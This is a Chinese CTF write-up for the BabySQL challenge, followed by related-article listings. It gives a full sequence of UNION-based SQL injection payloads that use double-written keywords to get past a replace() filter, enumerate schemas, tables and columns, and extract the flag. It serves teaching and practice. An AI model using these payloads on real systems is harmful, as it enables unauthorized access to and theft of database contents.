考点就是一系列的sql注入操作 和 replace函数过滤

进入页面如图

基础过滤测试 union 、select 、information_schema试试有没有被过滤

?username=admin&password=pwd %27 union select 1 %23

具体回显如下:只保留了 1# ,这就说明被检测到了union和select

check the manual that corresponds to your MariaDB server version for the right syntax to use near '1#'' at line 1

双写一下呢(原理是猜测使用replace函数,查找到union和select等然后替换为空)

?username=admin&password=pwd %27 ununionion seselectlect 1 %23

呜呼~,看来是注入成功了,但是我们现在的列数还不对

?username=admin&password=pwd %27 ununionion seselectlect 1,2,3 %23

加一下列数,发现测试到3的时候,出现了对我们很友善的回显,注意看会显得数字2 和 3 这是我们注入的第二列和第三列。

既然是mariadb就测试一下version函数能不能用吧

?username=admin&password=pwd %27 ununionion seselectlect 1,2,version() %23

下图算是印证了我们的注入点。

下面开始爆库,发现当前连接的数据库是geek。

?username=admin&password=pwd%20%27 ununionion seselectlect 1,2,database() %23

然后爆所有数据库名字 

?username=admin&password=pwd %27 ununionion seselectlect 1,2,group_concat(schema_name)frfromom
(infoorrmation_schema.schemata) %23  

然后我们发现了ctf库,推测这才是有flag的库 ,当然当前的库也有可能。

爆表,此时注意information被过滤了or,from也被过滤了,还包括where所以都双写一下(原因是,一般处理方式都为同一种)

 发现被过滤的payload ,用geek库做示例

?username=admin&password=pwd%20%27 ununionion seselectlect 1,2,
group_concat(table_name)from(information_schema.tables)whwhereere table_schema="geek" %23

双写后成功的payload

geek库的表

?username=admin&password=pwd %27 ununionion seselectlect 1,2,
group_concat(table_name)frfromom(infoorrmation_schema.tables)
whwhereere table_schema="geek" %23

 

ctf库的表 ,此处发现Flag表

?username=admin&password=pwd %27 ununionion seselectlect 1,2,
group_concat(table_name)frfromom(infoorrmation_schema.tables)
whwhereere table_schema="ctf" %23

查Flag表中的字段名都有什么

?username=admin&password=pwd %27 ununionion seselectlect 1,2,
group_concat(column_name) frfromom (infoorrmation_schema.columns) whwhereere
table_name="Flag"%23

最后查最后的数据,从ctf库中Flag表中的flag字段查一哈有啥

?username=admin&password=pwd %27 ununionion seselectlect 1,2,group_concat(flag)frfromom(ctf.Flag)%23

 

[极客大挑战 2019]BabySQL 1的更多相关文章

  1. [极客大挑战 2019]BabySQL

    0x00 知识点 双写绕过 简单测试一下,发现or在登陆过程被过滤,想到使用oorr试试,结果成了?! 最后多测试一下,发现from union select 这些关键函数都被替换为空 本题直接进行常 ...

  2. BUUCTF-[极客大挑战 2019]BabySQL(联合注入绕过waf)+[极客大挑战 2019]LoveSQL(联合注入)

    BUUCTF-[极客大挑战 2019]BabySQL(联合注入绕过waf) 记一道联合注入的题,这道题存在过滤. 经过手工的测试,网站会检验用户名和密码是否都存在,如果在用户名处插入注入语句,语句后面 ...

  3. BUUOJ [极客大挑战 2019]Secret File

    [极客大挑战 2019]Secret File 0X01考点 php的file伪协议读取文件 ?file=php://filter/convert.base64-encode/resource= 0X ...

  4. [原题复现][极客大挑战 2019]BuyFlag

    简介  原题复现:[极客大挑战 2019]BuyFlag  考察知识点:php函数特性(is_numeric().strcmp函数())  线上平台:https://buuoj.cn(北京联合大学公开 ...

  5. 极客大挑战2019 http

    极客大挑战 http referer 请求头 xff 1.查看源码,发现secret.php 2.提示要把来源改成Sycsecret.buuoj.cn,抓包,添加Referer Referer:htt ...

  6. [BUUOJ记录] [极客大挑战 2019]RCE ME

    前面考察取反或者异或绕过,后面读Flag那里我用脏方法过了,没看出来考察啥 进入题目给出源码: <?php error_reporting(0); if(isset($_GET['code']) ...

  7. [极客大挑战 2019]FinalSQL

    0x00 知识点 盲注 0x01 解题 根据题目提示盲注,随便点几下找到注入点 发现我们输入^符号成功跳转页面,证明存在注入 1^(ord(substr((select(group_concat(sc ...

  8. BUUCTF [极客大挑战 2019]Not Bad

    总的来说这是一个64位orw的题 开头先在主函数里分配了一个很大的空间 1 __int64 __fastcall main(int a1, char **a2, char **a3) 2 { 3 mm ...

  9. 极客大挑战 2019 web 部分解

    复现环境:buuoj 0x01:Havefun F12查看源码,明显html注释里是一段php get方式传参数,payload:http://f5cdd431-df98-487f-9400-e8d0 ...

随机推荐

  1. python标准库:ftplib模块

    ftplib模块包含了文件传输协议(FTP)客户端的实现. 下面的例子展示了如何登入和获取进入目录的列表,dir函数传入一个回调函数,该回调函数在服务器相应时每一行调用一次.ftplib模块默认的回调 ...

  2. Cobalt Strike学习笔记

    Cobalt Strike 一款以metasploit为基础的GUI的框架式渗透测试工具,集成了端口转发.服务扫描,自动化溢出,多模式端口监听,win exe木马生成,win dll木马生成,java ...

  3. js 四舍五入实现

    js Number.prototype.toFixed 进行的舍入的算法没研究明白,应该不是四舍六入五成双,当然也不是四舍五入 下面是chrome与excel的对比 修改完之后的结果 对于“问题数据” ...

  4. 吴裕雄--天生自然 python数据分析:加纳卫生设施数据分析

    import numpy as np # linear algebra import pandas as pd # data processing, CSV file I/O (e.g. pd.rea ...

  5. Python 异常处理中的 esle

    前言 我们知道,在Python中,我们是用try- -excetp- - 来做异常处理的,但Python 有别于其他语法的是在异常处理中还提供了else的处理场景,是的,你没看错,就是在条件判断if- ...

  6. Selenium 实现自动下载文件(FirefoxOptions,FirefoxProfile) - 根据Selenium Webdriver3实战宝典

    Firefox 版本是72geckodriver 是 0.24selenium 是3.14 代码中注释有关于FirefoxOptions,FirefoxProfile的解释,请各位寻找一下,不做另外解 ...

  7. unittest实战(二):用例编写

    # coding:utf-8import unittestfrom selenium import webdriverimport timefrom ddt import ddt, data, unp ...

  8. go语言指南之斐波纳契闭包

    练习:斐波纳契闭包 让我们用函数做些好玩的事情. 实现一个 fibonacci 函数,它返回一个函数(闭包),该闭包返回一个斐波纳契数列 `(0, 1, 1, 2, 3, 5, ...)`. 这是一个 ...

  9. git上传命令步骤

    1.登陆github后,进入Github首页,点击New repository新建一个项目 2. 填写相应信息后点击create repository即可 Repository name: 仓库名称( ...

  10. 01 Taro_Mall 开源多端小程序框架设计

    项目介绍 Taro_Mall是一款多端开源在线商城应用程序,后台是基于litemall基础上进行开发,前端采用Taro框架编写,现已全部完成小程序和h5移动端,后续会对APP,淘宝,头条,百度小程序进 ...